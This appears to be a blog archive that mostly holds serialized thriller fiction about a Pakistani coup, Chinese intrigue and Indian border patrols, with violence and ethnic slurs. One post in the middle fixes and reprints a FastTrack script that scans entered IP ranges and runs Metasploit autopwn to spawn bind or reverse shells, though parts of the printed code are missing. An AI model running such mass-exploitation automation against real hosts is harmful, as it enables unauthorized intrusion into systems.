Friday, December 24, 2010

War Scenario (Part XII)

Part XI

20:00 Hours
27 October 2010
Point 711 Border Post
Uri, J&K

Major Ajay Singh was staring at the written order that he had just received from Army HQ. His orderly Subedar Gurang Thapa stood by. He could read the excitement in the Gorkha's twinkling eyes.
“Where are these journalists right now ?” he asked quietly.

“They are staying at the HQ . They'll be here by tomorrow morning by helicopter if the weather permits. “ Sub Thapa replied eagerly. Sub Thapa was one of the happiest men in the unit right now. Visit of journalists from a national TV channel meant he could be on national TV. His fiancee will be impressed.

“Is old Verma out of his mind ? How are we supposed to help these clowns document the situation at our borders ? We are seriously short of manpower as it is and now we have to play tour guide to these dorks from the TV channel ! “ Ajay muttered in exasperation to himself. Then to Sub Thapa, “Get me Col. Verma. He is not the kind of man given to such frivolities. “

Much to chagrin of Maj Ajay, Col Verma was unmoved by all his protests. TV channel had obtained permission from defence and home ministries for this visit. Defence minister had called Army HQ himself to ensure that full cooperation was extended to the journalists.
“It should be no big deal Ajay. Most of their work is already done in HQ itself. All they need now is to document daily lives of soldiers at the border . Just take them with you on a patrol. Show them the border posts and tell them about your daily lives on the posts on the mountains. You should be happy that you and your men are going to be on national TV. “

“ Being on TV is the last thing on my mind. Conditions are really volatile these days. We are observing a lot of activity on the Paki side. We can't risk ignorant civilians playing tourists on such a minefield. “

Col Verma explained patiently, “It's not a war field yet. You just have to act like yourself and allow these guys to film you in the process. How difficult it could be ? Ministry thinks that we need all the coverage we can get and what better way to get some journos to see what we army guys daily go through protecting country's borders ?
These guys are not completely ignorant. Lead journalist has covered Kargil war from the battlefield itself. I believe that she can handle herself fairly well at peacetime.”

“She was more trouble than anything else then. I don't think that she has improved a bit ”

“You are the one to judge that Major. Col Verma replied sternly. “ We have our orders and we have to follow them to best of our ability. These journalists, one of them a cameraman will be at your post by 5am by chopper. You'll allow them to do their work as explained in written order. Am I clear on this ? “

“Yes Sir. Over and out.”

Maj Ajay disconnected the radio call and walked out of his weather proof shelter. He was in charge of 11 posts spread about on the mountainous terrain, each one manned by 8-12 men. Their main task was to prevent infiltration of Paki terrorists across this difficult terrain.
Each post was constructed within line of sight of at least one other post, sometimes two. But bad weather and almost daily fog during winters nullified any advantage that such arrangement provided. Each post consisted of 1-3 concrete bunker manned by 2 man heavy machine gun teams. Some of the posts had mortars for heavier fire-power and could call for artillery fire from 120 and 155mm guns cleverly hidden a few km behind them. This artillery was useful to suppress the Paki border guards whenever they tried to provide covering fire to the infiltrators. Soldiers usually slept in pre-fabricated igloo like structures constructed of multi-layered fiber-glass and plastic material. This structure provided excellent protection against all kinds of weather.
But first line of defence for these soldiers was the fence on border. The fence itself was an formidable obstacle for any infiltrator. 12 feet high, electrified and covered with motion sensors, heat detectors and cameras with night vision, it was nearly impossible to cross. Number of successful infiltrations had come down drastically wherever the fence was constructed and soldiers were happy for that. Not all of the border was fenced due to the difficult terrain, forests and numerous nullahs and small rivers that abound in mountains. Thus there were some points where there were large gaps from where infiltrators regularly tried to slip in. Soldiers thus had to keep constant watch over such points. Each post sent out 6 men patrol thrice daily to check integrity of the fence and look out for terrorists from Pakistan trying to slip in.

By this time in October, winters usually set in and covered the whole area with snow making infiltration a very difficult affair for Pakis. Most of the infiltration attempts in this area were made just before this time. But winters were unusually mild this year. Only a light snowfall spread over 2 weeks happened and most of the snow melted before it snowed again. The whole area was covered with brown mud instead of white snow which was visible only on the highest rocky tips of the mountains. It made job of the soldiers doubly difficult. Not only there was no snow to slow down the infiltrators, it also made their patrol routes muddy and difficult to travel. Mules which carried most of supplies for these soldiers high up in the mountains often got stuck in the mud increasing their misery.

Pakis on other side of the fence were quite aware of this and were trying to take full advantage of the situation. In spite of the mess their own country was in, they were sparing no effort to push in as many terrorists as possible across the border. According to intelligence reports, there were a minimum of 60 terrorists waiting in various jihadi safe houses across the border, each one guarded by Paki army personnel. More terrorists were streaming in every day from terrorist training camps all around the area. Fence was taking the brunt of their attempts at infiltration and Pakis were trying to create as much gaps as possible by directly shelling and cutting it under the cover of darkness. There were reports of Pakis digging tunnels below the fence and Indians were leaving no stone unturned to counter this. Orders had come in to increase duration and frequency of the patrols. In addition to the usual gear, each patrol now carried a video camera to document all the damage and repair work done on the fence. These extended patrols were taking their toll on Indian soldiers who were short of manpower even during relatively peaceful periods.

All of this was on Maj Ajay's mind as he saw a patrol team from his post come in after repairing yet another breach in the fence a few km away. He shrugged away all thoughts of the impeding visit of the journos as he prepared himself for reporting by the team. Varsha Butt from UNDE TV was not due to land for another 9 hours.

Thursday, December 23, 2010

War Scenario (Part XI)

Part X

Remains of General Beg’s battered convoy sped out of the bungalow premises towards the reinforcements. Aslam at once came running towards Beg’s car and saluted when General himself opened the door and got out to take a look at the reinforcements.

“ Major, you arrived just in time to save our asses. These buggers killed half of my men in minutes and still have my family. They are no ordinary terrorists. “ Beg said somewhat shakily.

“ We can take out these rats easily sir. Just give us the order. “

“ Don’t be a fool. These men might be holding my family inside the house. I can’t risk their lives.“ Beg snapped. “Find out what their demands are. Only then I’ll decide on future course of action”

“Yes sir.”

Aslam was back 15 minutes later with the new that his men had discovered that telephone lines to the house were cut from the junction box in guard house. Within minutes, Beg received news that the lines were reattached. He himself dialed his landline number and waited anxiously as the telephone inside his house rang. He was nearly startled when someone inside the house picked up the phone. Beg started shouting at once, “Hello, hello!! Who is there ? Nussarat ? Is that you ? “

A heavy male voice replied mockingly, “Ah General Beg .You have a really long life. We were just about to call you.”

“Who the hell are you and what do you want ? Where is my family? They’d better be alright, otherwise you’ll regret that you were ever born.” Beg was beside himself.

Man on the other side laughed and said, “ Relax General. Your family is completely safe with us. We don’t wish any harm to them or even you. “

“Then why have you taken them hostage and why did you killed my bodyguards ?”

“ That was really unfortunate general. Believe me, if we had any choice, none of this bloodshed would have happened. Our plan was to meet you inside and persuade you to act according to our wishes in a reasonable and mutually beneficial way. Only if your boy was not so naughty so as to warn you, you’d know of our benign intentions firsthand.”

“Shut the hell up and tell me who are you and what do you want.” Beg bellowed into the phone.

“Well, who we are is not important General. But, what we want from you is infinitely more important. We just want you to give up one thing that you should’ve relinquished long ago “

“What is that? “

“Your post of Chief of Army Staff .“ The voice replied in a very casual manner. But the effect on General Beg was anything was casual. He lost whatever self-control he had on himself and started shouting even louder into the phone.

“ Who the hell you think you are ****** ? Do you think that you can just walk into my house and force me to handover everything that I worked for all my life just like that? I have lakhs of men at my command. I control the whole country, I control the Americans. You are nothing but a sneaking filthy rat. My men will enter the house and tear you apart within minutes.”

Man on other side of the line laughed even louder this time, “I’d not count on that if I were you. You need to understand it very clearly General that we are not ordinary terrorists. Our goal is to make sure that you give up your post with as little trouble as possible. We do have other means to persuade you apart from your family.”

“ What do you mean ? “

“ For starters, why don’t you try calling General Khalid ? Maybe that’ll make you see the light. I’ll call you after 10 minutes. “

General Beg was left holding the phone to his ear. He immediately broke out of his paralytic state and asked Major Aslam to contact General Khalid. Beg had promoted Khalid in order to cut down the power of General Asgar. Khalid was to assume command of Karachi garrison from Asgar who was transferred to a Nak Bundi near Afghanistan border. There his role would’ve been nothing more than that of a border guard. Orders to this effect were issued just a few hours ago in just concluded meeting.
Aslam was back within minutes looking shaken, “Sir, we have some very bad news. General Khalid convoy was attacked just outside his house just a few minutes ago. He is missing and 5 of his bodyguards are dead. Survivors claim that attackers who were in army uniforms bundled him into an army vehicle and sped away. “

Beg was speechless for a moment. “ Can anybody tell me what the hell is going on ? Are you telling me that some nuts not only took my family hostage and almost killed me inside my own house, but also managed to kidnap my most trustworthy subordinate? That too right inside my cantonment? “

Aslam shifted uneasily on his feet but kept quiet. He was rescued by ringing of Beg’s phone. It was from his house and he at once accepted the call and snarled into the phone, “ What have you done with General Khalid you ******** ? Who are you working for ? “

Man completely ignored his questions, “Do you realise what you are up against, General ? You, your family, your cronies, nobody is safe even in your own backyards. You might wear the stars, but it’s us who control everything in this country. For your own sake General, I’d strongly urge you to give up and do exactly as we say. “

“If I resign, who’ll take up my place ?”

“You need not worry about that General. After you retire, we’ll make sure that you lead a very comfortable retired life anywhere in the world.“

“It’s that ******** Asgar and you work under him? Isn’t it ? I always knew that he wanted my job, but never imagined that he’d stoop so low.”

“Right now, it’s not important who wants you job. Only thing important is the safety of you and your family. After all we can’t afford to keep them tied and bound for long.” Threat in the voice was too explicit to be ignored.

“Like hell I will. You’ve signed your own death warrant asshole. None of you will leave this building alive, even if it’s the last thing I’ll ever do.”

He disconnected the call and ordered Aslam to collect a crack team to storm the house. In the mayhem that followed his orders, his men suffered 28 causalities. They managed to save his son but not his wife . Her dead body was found in her bedroom, shot at point blank range. Total of 11 dead intruders were found, all in army uniforms but with fake identification papers. All were later identified as serving army person, 3 of them commissioned officers.

Wednesday, December 22, 2010

War Scenario (Part X)

Part IX

03:30 Hours
28 Oct 2012
Army HQ

Last few days had been really hectic for General Beg and his face showed it. He didn't had a moment of rest during last 2 days and his eyes were puffy and red from cigarette smoke and endless cups of tea consumed in that period. Right after his announcement of martial law on TV, he had called a meeting to discuss his future course of action with some of his trusted army and civilian officers. He had decided to keep most of the civilian bureaucratic setup unchanged for the moment to deflect some domestic pressure. All of the cabinet ministers and senior bureaucrats were to continue their work as usual. But a few changes in Army were inevitable and officers loyal to him reaped all the benefits in form of promotions and transfers to desirable places. For General Beg, it was a necessity to consolidate his position rather than a thing to reward his cronies. All the promoted and transferred officers were supposed to take up their commands within 24 hours but nobody was complaining. The officers who had to vacate their posts to make way for these new beneficiaries were sure to complain, but they didn't know of it yet.

After the meeting was over, he poured himself a stiff drink of scotch and called for his car to take him to his residence. Drive to his official bungalow took barely 10 minutes on a crowded day, it was going to be even shorter in these wee hours. He finished his drink leisurely and ambled out of the front door of the building towards his waiting bullet-proof car. A body guard who usually sat alongside his driver in front seat saluted smartly and opened the back door for him. Beg got in the back seat and closed his eyes as the driver slowly eased his car out of the driveway. 22 heavily armed commandos in 7 cars and SUVs surrounded the car and escorted him.

He felt mobile phone in his pocket vibrating signaling arrival of a new sms, but he ignored it for the moment. Nobody sent him any sms apart from his 12 years old son, but he should've been fast asleep now. He opened his eyes just minutes later when his driver stopped the car in front of the bomb proof gate of his bungalow . There was a lawn almost 70 meters across between the gate and bunalow with a narrow paved driveway joining the two. Even though all the lights in the lawn were on, those inside the house were off, except for a single bulb on the porch of front entrance.

He yawned and took his phone out to read the message. In the meantime gate was opened and first car of his convoy started entering the premises. He fumbled with the buttons to get to message inbox and smiled quizzically when he read his son name as the sender of message. “It's a little late for the little monkey to be up . Even the lights of whole house are off.”
He pressed the read button to open the message and his smiled disappeared at once. It was very short and read, “Bad men inside. Donot come Send help.”.
He immediately asked his driver to stop the car. All of his convoy behind him rolled to a stop. He snatched the walkie-talkie from the guard in front seat and hailed Major Sohail riding in leading SUV of convoy. “There's a situation Major Sohail. I think my family is being held hostage inside the house.”

“What ! I don't understand sir” Sohail exclaimed.

“ I just received this message from my son warning me that some bad men are inside and that I should send help.”

“ Asif is not of prankster type. Any idea who or what are we dealing with ?”

“No. He didn't tell. I'm trying to call him but his phone is switched off. We need to act fast. “

“Agreed. General. I'm calling for additional forces from the HQ. Meanwhile we'll check the house ourselves. You stay in your vehicle sir.”

“ Alright. Hurry but be very careful. “

“Roger that.”

Sohail immediately gathered his men and ordered 12 of them to take positions around the house and guard the general. All the windows of the house were barricaded by grills and there were only two entrances to the house, one each in front and back. guarded by 2 armed soldiers at all times. He split rest of his men in two 5 member teams, one for each entrance and decided to lead the one entering through the front door himself.

Running towards the door he prayed that Asif was indeed playing a prank on his father for once. If he was not, all his men were in serious trouble. The bad guys inside the house must already have him and rest of his team in their gun sights all this while. Feeling of butterflies in his stomach got worse as he neared the front entrance. Two guards who were supposed to be there at all times were missing. Just then Hav. Yaqub leading his 2nd search team informed him that there were no guards on back entrance either . For a moment he considered waiting for the backup to arrive. After all, it wouldn't take 10 minutes for them to reach here. He brushed away these thoughts from his mind . He was a professional soldier trained for all kinds of situations. Backup or no backup, it was his duty to complete the mission assigned to him.

About 10 metres from the door he thought that he saw somebody moving on the balcony on 1st floor. He was about to hail whoever was there, when he saw a flash and heard the whooshing sound typical of a RPG-69. Before he had the time to react, the rocket smashed in to the ground right in the middle of his team and exploded. 2 of his team members were blown to pieces while the rest were thrown off their feet by impact of the blast. As he struggled to get up and return fire, he heard sounds of heavy gunfire and grenade blasts coming from back of the house, right were his 2nd team was supposed to be. He shouted at the survivors of his team to follow him as he ran towards the cover behind the heavy flower pots around the entrance. This time his approach was interrupted by a hail of heavy AK 47 gunfire and remaining 2 commandos following him dropped dead. He himself was hit by a bullet in left leg, but managed to crawl up behind cover of a flower pot where he lay bleeding, unable to move or fire back at his attackers.

General Beg was watching this carnage from the back seat of his car. 10 of his men were down without even firing a single bullet. His car was hidden from the house by a row of trees and decorative bushes, but they'll provide no cover from the bullets once the intruders in the house start firing in his direction. He had no idea how many people were inside and could only guess their intentions. He only knew that they were very heavily armed and had his family hostage. Only thing he could do was to wait for backup from HQ to arrive. Till then, it'll be better if he got himself out of their weapons range.

He ordered rest of his men to get in cars and get out of the bungalow. His driver immediately started the engine and put the car into reverse gear. His convoy, now reduced to 4 cars started backing up towards the gate at a high speed.
It was time to pay back for their second mistake. They had completely forgotten about the guards on the gate. As the first car neared the gate, one of the 3 guards on duty fired a RPG on it killing 3 commandos who were in it. Other 2 started firing from their assault rifles. Survivors took cover and started firing back. Guard who had fired the RPG was killed as he was trying to reload it. Just then, intruders in the house directed their small arms fire towards the convoy.

Inside his bulletproof car Beg was frantically shouting into the walkie-talkie calling for backup. Major Aslam answered him, “I'm almost at the gates of your bungalow General, but how do we get in ? “

General Beg was furious, “What do you mean by that ?”

“Your gate and boundary wall are bullet proof and bomb proof, designed to keep armed intruders out.”

“For God's sake, just blow up the damned thing using C4 charges. I don't care if you use up whole stock. We are being shot to hell from 2 sides. 13 of my men are dead already. “

“Understood sir. My men are placing the charges now. “

Moments later, whole compound shook when the C4 charges planted by men of Major Aslam's team exploded. One of the guards near the gate was knocked down by the flying debris. Explosions also disoriented the third and last guard who was killed when he tried to run across the lawn towards the house.

Monday, December 20, 2010

War Scenario (Part IX)

Previous Part

19:30 Hours
27 Oct 2012
Karachi Garrison

General Asgar was pacing his office waiting impatiently for his telephone to ring. General Beg's reaction to the bombings and riots had taken him completely by surprise. As soon as he came to know of it he tried contacting General Hu but was told by his aide that Hu was in a meeting with senior leaders of the Party and could not be excused. Asgar could do nothing but wait for Hu to contact him and that made him mad.
Presently the phone rang and Asgar rushed towards the table to pick it up. Smooth voice of General Hu came in on the line, “ Good evening General. I understand that there've been some unexpected events ?”

“Why else would I feel the need to contact you General Hu, if everything was alright ?” Asgar asked angiriy.

Hu ignored the jab and continued in the same voice, “ Well, Beg's action were not really unexpected after what happened to Naqvis and the unfortunate blasts and riots in your country today. ”.

“Nothing is really unexpected once it has happened. Now what am I supposed to do ? I don't even know who is behind these blasts.“

“If you leave out Islamic terrorists, who do you think can possibly benefit from this ? “

“ Beg himself ! But is it really possible ? Serving Army chief orchestrating bombings and riots to get the chair !“

Hu replied, “ We don't know if he did it or not. But think of the consequences if somehow it's proved as the truth.”

“ Even if he really did this and we manage to prove it as such, it will not amount to anything. Americans will not withdraw their support and Beg will continue his rule” Asgar lamented.

“ Not if you snatch it from him”.

Asgar nearly jumped out of his chair, “ A coup ! That too against an serving Amy general! Are you in your senses ? Do you really think that Americans will let their poodle go down so easily ?“

Hu replied in a soothing voice, “ I know very well what I'm talking about General. If Americans are backing Beg, you have all the might and goodwill of Chinese republic behind you. You realise that China is an all weather ally of Pakistan unlike US , even your public knows this truth.”

“What will you gain from this ? “

“ Come on General ! We both have common goals and interests that we've discussed so many times. It's just that we need to find a somewhat different way to get you at the top post . ”

“It'll not be so easy General Hu, as you might be thinking. There are a million things that could go wrong. General Beg is no fool. I'm sure that he must have planned for any such attempted coups. Grabbing power from him could turn in to a bloody and long affair. And whats going to stop Americans from coming to his aid ?”

Hu replied in a reproaching voice, “ You seem to forget your Chinese allies too easily, General. Whatever you need of us, you just need to ask.”

“I'm worried about American intervention because of the nukes. They'll do anything to stop me from gaining their control. You know the history. “

“You need not worry about that General. Didn't I just say that you just have to ask.”

“What ? Are you a djinn (genie) or something ? Genei Hu ?” Asgar laughed nervously.

“ May be.” Hu replied mysteriously. “ You are really worried about being nuke nude, aren't you ? “

“Of course yes.”

“In that case, how about we supplying you a minimum of six nuclear missiles within two days of your request ? Painted in your Pakistani colours, all ready to parade around or even launch at your enemies as you see fit . Beg needs approval from his American masters even to see the Paki nuke assets. But you'll have your own, completely independent ready to launch nuclear tipped missiles. Even if Americans disable all the nukes and missiles that your country already has, you still have something to scare your enemies. You'll get more weapons later according to your requirements.“

Asgar stammered, “ Yes..yes..That'll be really great. But what about the Indians ? How do we keep them from any mischief ?”

“ Indians wouldn't be able to interfere in anyway with our plans. If needed, we'll keep them occupied. You just have to act fast before anybody has the chance to react. ”

“I understand. You just take care of the nuke business and keep an eye on India . I can easily handle Beg myself. After I seize the power, nobody will have any option but to respect my authority. “ Asgar felt some of his old confidence returning.

“Very well then. I'll be seeing you in person real soon. Goodbye and good luck.”

Tuesday, December 14, 2010

Autopwn Automation of FastTrack Bug

Seems like there've been some minor changes in the MetaSploit Framework 3. One of the effects is that the the Autopwn Automation of FastTrack is not working. Running the script gives the following error:

msf > load db_sqlite3
[-] The functionality previously provided by this plugin has been
[-] integrated into the core command set. Use the new 'db_driver'
[-] command to use a database driver other than sqlite3 (which
[-] is now the default). All of the old commands are the same.
[-] Failed to load plugin from /opt/metasploit3/msf3/plugins/db_sqlite3: Deprecated plugin
msf > db_driver sqlite3
[*] Using database driver sqlite3

One solution is to open up the Msfconsole and type the commands manually. But that kind of defeats the purpose of having FastTrack installed (in a limited way of course:p ). Fortunately, the fix is very easy. All you need to do is to modify the autopwn file in /pentest/exploits/fasttrack/bin/ftsrc directory. First open the file in any text editor of your choice and look for this line in bold:

child1 = pexpect.spawn('%smsfconsole' % (metapath))
# load sqlite3
child1.sendline ('load db_sqlite3')
# Destroy database
child1.sendline ('db_destroy pentest')
# Create database
child1.sendline ('db_create pentest')

Now replace db_sqlite3 with db_driver sqlite3 and save the file.
Everything will work fine.

Alternatively you can copy-paste the following text in a text editor and save the file as "" (minus quotes) in directory /pentest/exploits/fasttrack/bin/ftsrc . You'll need root access to replace the already existing file.

#!/usr/bin/env python
import pexpect,sys,os,time
import psyco
except ImportError:
except IndexError:
Metasploit Autopwn Automation

This tool specifically piggy backs some commands from the Metasploit Framework and does
not modify the Metasploit Framework in anyway. This is simply to automate some tasks
from the autopwn feature already developed by the Metasploit crew.

Simple, enter the IP ranges like you would in NMap i.e. 192.168.1.-254 or
or whatever you want and it'll run against those hosts. Additionally you can place NMAP
commands within the autopwn ip ranges bar, for example, if you want to scan even if a
host "appears down" just do -PN or can use all NMap
syntaxes in the Autopwn IP Ranges portion.

When it has completed exploiting simply type this:

sessions -l (lists the shells spawned)
sessions -i (jumps you into the sessions)

Example 1: -PN
Example 2:
Example 3: -P0 -v -A
Example 4:

Enter the ip ranges to autopwn: """)
if ipaddr == 'quit' or ipaddr == 'q':
print "\n\nExiting Fast-Track autopwn...\n\n"
# Spawn instance of msfconsole
except IndexError:
Do you want to do a bind or reverse payload?

Bind = direct connection to the server
Reverse = connection originates from server

1. Bind
2. Reverse

Enter number: """)
if option1 == 'quit' or option1 == 'q':
print "\n\nExiting Fast-Track autopwn...\n\n"
if option1 == '1': option1='-b'
if option1 == '2': option1='-r'
print "Launching MSFConsole and prepping autopwn..."
metapath=file("%s/bin/setup/metasploitconfig.file" % (definepath)).readlines()
for line in metapath:
except IOError:
print "Configuration file not detected, running default path."
print "Recommend running install to configure Fast-Track."
print "Setting default directory..."
# BT3
if os.path.isfile("/pentest/exploits/framework3/msfconsole"):
# NUbuntu
if os.path.isfile("/tools/exploits/framework*/msfconsole"):
if counter == '0':
print "Metasploit not detected..Exiting.."

child1 = pexpect.spawn('%smsfconsole' % (metapath))
# load sqlite3
child1.sendline ('db_driver sqlite3')
# Destroy database
child1.sendline ('db_destroy pentest')
# Create database
child1.sendline ('db_create pentest')
# run actual port scans
child1.sendline ('''db_nmap %s ''' % (ipaddr))
# run actual exploitation
child1.sendline ('db_autopwn -p -t -e %s' % (option1))
child1.sendline ('sleep 5')
child1.sendline ('jobs -K')
child1.sendline ('\n\n\n')
child1.sendline ('sessions -l')
child1.sendline ('echo "If it states No sessions, then you were unsuccessful. Simply type sessions -i to jump into a shell"')
# jump to pid
except Exception: print "\nExiting Fast-Track...\n"

Monday, December 13, 2010

War Scenario (Part VIII)

Part VII

19:00 Hours
27 Oct 2012
PM House
New Delhi, India

Six big blasts in four cities within a span of 4 hours !” Indian PM was incredulous, ”What the hell is happening in Pakistan ?“

“Bomb blasts are least of their worries right now. More Pakistani civilians have died in riots that broke out after the blasts than the blasts themselves. More are dying even as we speak. “ Angad replied.

“Any idea who did this? Were all blasts planned by a single group” ? PM asked even though he knew the answer he'd get.

Angad shrugged, “ We are still analysing our intelligence reports. There are numerous suspects, but whoever did this, executed it really well. Unlike the attack on Paki President, no one has taken the responsibility for these attacks yet. “

“ I just hope that these guys have enough sense not to blame us for this.” DM remarked warily.

“ That's a feeling we both share.” PM murmured and lapsed into a moody silence.

“We've already issued an official statement condemning the bombings. But I have serious doubts whether it'll make any difference to these idiots. They'll blame everybody except themselves for all their troubles.” DM continued. “I'd like to put our forces on border on heightened state of alert, but I 'm sure that it'll be taken as a sign of aggression.”

“Only border ? I'd like to put all our security agencies on high alert. I'm willing to bet you anything that some Islamist nuts have already started planning terrorist strikes against us”. HM spoke to the nodding agreement of Angad.

“We can put state police and other internal security organisations on high alert without any problem but doing it on the international border is a different matter. Doing so will not only increase the tensions but also bring international pressure on us. Pakis have always exploited anti-Hindu, anti-India cards to divert attention from real issues since long and any such action on our part will surely provide them with an excuse to cause some mischief.”

“ Would you rather have similar terrorist attacks in our cities than take necessary actions to avoid them lest in offends Pakis ? ” HM asked testily.

“Our forces in J&K are always on high alert and BSF is guarding rest of IB in western sector fairly well. In current situation, maximum we can do is to increase size and frequency of patrols without making it public. Anything beyond this will be seen as unprovoked aggression on our part. Mobilisation of army in current situation is out of question. ” DM retorted.

This exchange was broken by buzzing of the intercom. Angad put the phone to his ear and without saying a word turned on the large LCD TV in room. All eyes in the room were turned to the news channel on which serving Pakistani Army Chief General Beg was reading his speech. He spoke of the recent bombings and subsequent riots and their effect on already precarious security situation in Pakistan. He went on to announce imposition of martial law, postponing of election pending better security conditions and his appointment as the country's military ruler until such conditions are achieved. War against Islamic terrorism was to continue without any change as per the requirements of his allies. He finished the speech asking for help from the international community in Pakistan's hour of need.

“Well, that changes something I guess. At least he had the fig leaf of a civilian regime before this. ” PM was first to break the silence.

“He didn't mention anything about mobilisation of army or reshuffling of top posts. I can't find anything in his speech that'll specifically change anything for us in near future.” DM observed.

“What about our peace talks ? We can't be seen negotiating for peace with a military dictator. “ PM asked in a worried voice.

DM rolled his eyes and was about to say something when he was interrupted by HM, “ You are still serious about that “peace talk” thing ?

PM replied in a surprised fashion, “ Why not ? Do we have a choice ?”

“ We can worry about “peace talks” later. Right now, we have a situation at hand that needs our immediate attention.” HM responded. “What do you think of it Angad ? “

“ One of many things that's worrying me is reaction of General Asgar. I don't think he'll take it easily. Beg didn't mention anything about him and we don't know what he is going to do. Unless Beg has offered him something substantial, he will not take it lying down. Specially when he has backing of Chinese. “

“What's the worse that could come of it ?”

“ An attempted coup followed by a bloody civil war is one thing that comes to the mind. ” DM replied glumly.

“ You mean Asgar trying to overthrow Beg ? But this is madness !” PM exclaimed.

“Well, we discussed something like that in our last meeting.”

DM looked towards HM before replying “ Seems like we'll have to put our forces on maximum alert now. No point in taking chances when Chinese and Pakis are involved. “

“What is your opinion Angad ? “ PM looked towards NSA chief hopefully.

“ I agree with Defence Minister. Not only Army, even Air Force, Navy and Coast Guard should be put on high alert . It'd be foolish to just guard IB after Mumbai attack.”

“ Very well then. Do whatever is necessary, but take every precaution to keep things under control. I don't want a possible nuclear war due to any misunderstanding. ”

DM allowed himself a smile, “ Don't worry, sir. We'll issue a press statement and send a dossier to assure everybody of our benign intentions.”

Friday, December 10, 2010

War Scenario (Part VII)

Part VI

10:00 Hours

27 Oct 2012

Central Market

Karachi, Pakistan

Mohammed Shafiq was in a bad mood when he stopped his car in front of his 25 years old eatery in Central Market, one of the busiest in Karachi. He came to the city when he was barely 13 years old after running away from his home in Multan. He did various jobs for 11 years and somehow scraped up enough money to start his own shop in Central Market. Over the years he managed to establish a reputation of serving good food at affordable prices. Most of his customers were local shopkeepers and their employees who bought their breakfast and lunch from him daily.

His daily commute of 20 minutes to his shop today took him 3 hours due to almost curfew like security measures in place. Although Pakistanis were used to terrorist attacks and subsequent tightening up of the security that invariably followed such attacks, measures adopted today were extreme by even Paki standards. Every occupant of every vehicle was told to disembark and then body-searched in addition to metal-detector and dog sniffer checks This delay had cost him earnings he made every morning that amounted to almost half of his daily income everyday. He barked at Shahid, 18 years old helper who was dozing in front of the shop , to get the keys and open the shutters while he searched for a place to park his car. Delay of 3 hours meant that most of the already scarce parking spaces were already full and he had to park his car at a considerable distance from his usual place near the shop. Cursing everybody in general for his troubles he took out a cigarette and started walking towards his shop. His unpleasant mood was slightly softened at the sight of a few regulars starting to assemble in anticipation of an early lunch or a late breakfast.

Shafiq's attention was diverted by sound of a pickup truck being rashly driven that passed him by with only inches to spare. He swore loudly cursing the driver and his relatives to hell and worse. His rant was suddenly interrupted by the sight of that truck suddenly changing it's direction towards the small crowd in front of his shop. Before his horrified eyes the truck ran over 3 people and stopped after hitting the wall of his shop. He shouted at the people around for help and starting running towards the scene of accident. He was still 20 meters away when the truck exploded with a loud bang and caught fire. Shafiq along with many other people was thrown back many meters by the force of the blast wounded grievously. Fire from the truck soon reached the LPG cylinders in the eatery which exploded further spreading the fire. Eight fire brigade trucks took 4 hours to extinguish the blaze which turned more than half of the Karachi's most crowded markets into ashes, killed 37 people and wounded many more.

Thursday, December 9, 2010

War Scenario (Part VI)

(Part V)

HM was first, “ With billions of dollars that they have at their disposal, what stops the Chinese from just buying off the locals in Balochistan and POK and prevent all this bloodshed and delay ? “

“ If Chinese have billions of dollars, US can print trillions even at the cost of damage to it's economy that such an action might bring. In case of POK, Chinese have displaced people from dozens of mountainous villages where land suitable for farming and rearing cattle is at a premium and constructed their colonies and roads. The people who have lost their lands have nowhere to go and make a living outside POK as they don't have full rights as other Pakistanis. Even those who haven't lost their lands directly have suffered due to pollution, land-slides, flooding among other side-effects brought upon by indiscriminate Chinese activity in a fragile eco-system.

As for Balochistan, things could've been much better if Pakistani army officers were kept out of the compensation process. Balochis alleged that army siphoned off a lions share of the money that was given by the Chinese and they were left with nothing. When Chinese attempted to talk directly, Pakis brought in their H & D (Honour and Dignity) issue in to play and also screwed up everything by picking up needless fights. Same thing happened in POK too.”

PM asked the next question, “ Is Chinese presence in Balochistan and POK in anyway related to attack on PPP rally? “

“I only have a theory sir.” Anagad replied hesitatingly.

“Let us hear it.”

“ Pakistanis have been going slow on Gwadar port route due to US pressure on Beg and the civilian government.US has been sponsoring psy-ops for quite some time against the project by questioning whether anybody except the army and it's stooges will gain anything out of this, covertly of course. Beg regime was already under enormous domestic and international pressure due to corruption charges and this whisper campaign forced him to tow the US line. Work on route in Balochistan was halted many times citing environment clearances, land ownership issues and so on much to the annoyance of Chinese.

Although it seems kind of far fetched, one of the quickest ways to get the work completed as soon as possible is to have their own puppet in control instead of a US controlled one. For Chinese, there is nobody better than General Asgar for this job. They've been propping him up for quite some time now as a counter to US influence. They planned to use him to push their agenda after Beg stepped down, but Beg's 3 year extension put a spanner to their plans. Chinese wouldn't let their investment go down the drain and will do anything within their ability to retain their influence and activate that route. They don't see it as an option but a vital necessity. They'll do anything to weaken Beg and install their own man. This near fatal attack on Naqvi is a big blow to the public moral and image of army. Something that General Asgar and Chinese really want.”

“Why don't Chinese try buying off Beg instead of playing such dangerous games? “ Home minister inquired.

“ Well, I don't think that they didn't try that. We know for a fact that 2 senior PLA generals visited Beg many times over that last 2 years, ostensibly for the same purpose you mentioned and also to pressurise him to stop training and infiltration of ethnic Uighur militants into XinJiang. But Beg knows too well that he and PPP government can't last a day without US support.
As for Uighur militant issue is concerned, he is powerless to oblige China without messing up US plans. It's not like reign of Musharraf when Pakis were able to use terrorists for their own means even when pretending to fight them in exchange of money and military aid. Americans have wisened up to the duplicity and perfidy of Pakis and have kept everything on a tight leash. They want to get out of Af-Pak as soon as possible and allowing Chinese controlled Asgar to rule Pakistan will make a graceful exit impossible for them.”

“So it seems like US and China are fighting a proxy war , each one using Pakistanis as pawns. “, PM said with a wry smile.
“ But not without serious consequences for us.” Defence minister interjected. “A US-China battle ground in our nuclear armed neighbour is a nightmare. But I don't think any one of the two will be foolish enough to destabilise the country, it being in tatters as it already is.”

“ Agreed. I don't think that either US or China will enter into direct conflict with each other. But their cat-and mouse games are sure to cause serious unrest. It could even result in a civil war. I don't
want to even think about that.” DM said with a shudder.

PM asked Angad, “ Why Asgar has not tried to initiate a coup against Beg till now ? Or Beg tried to defang Asgar ?“

“ It sure seems like a quick fix, but both are serving army men and any such move by either of the two will surely cause division within army ranks and a very likely civil war. With nukes in picture, nobody knows the consequences. Even without nukes, it's a lose-lose condition for both, unless something unexpected happens, “ Angad replied

“Unexpected like ?”

Angad paused for a moment before speaking, “ Like Beg willingly hands over the reigns to Asgar in exchange for a guaranteed safe exit and large sum of money. Or Asgar dies, in that case there is nobody senior enough in Paki army hierarchy that Chinese control to challenge Beg. But Asgar has good contacts with many Islamist terrorist organisations and most worryingly with army wing in charge of the nukes from his pre-9/11 days.

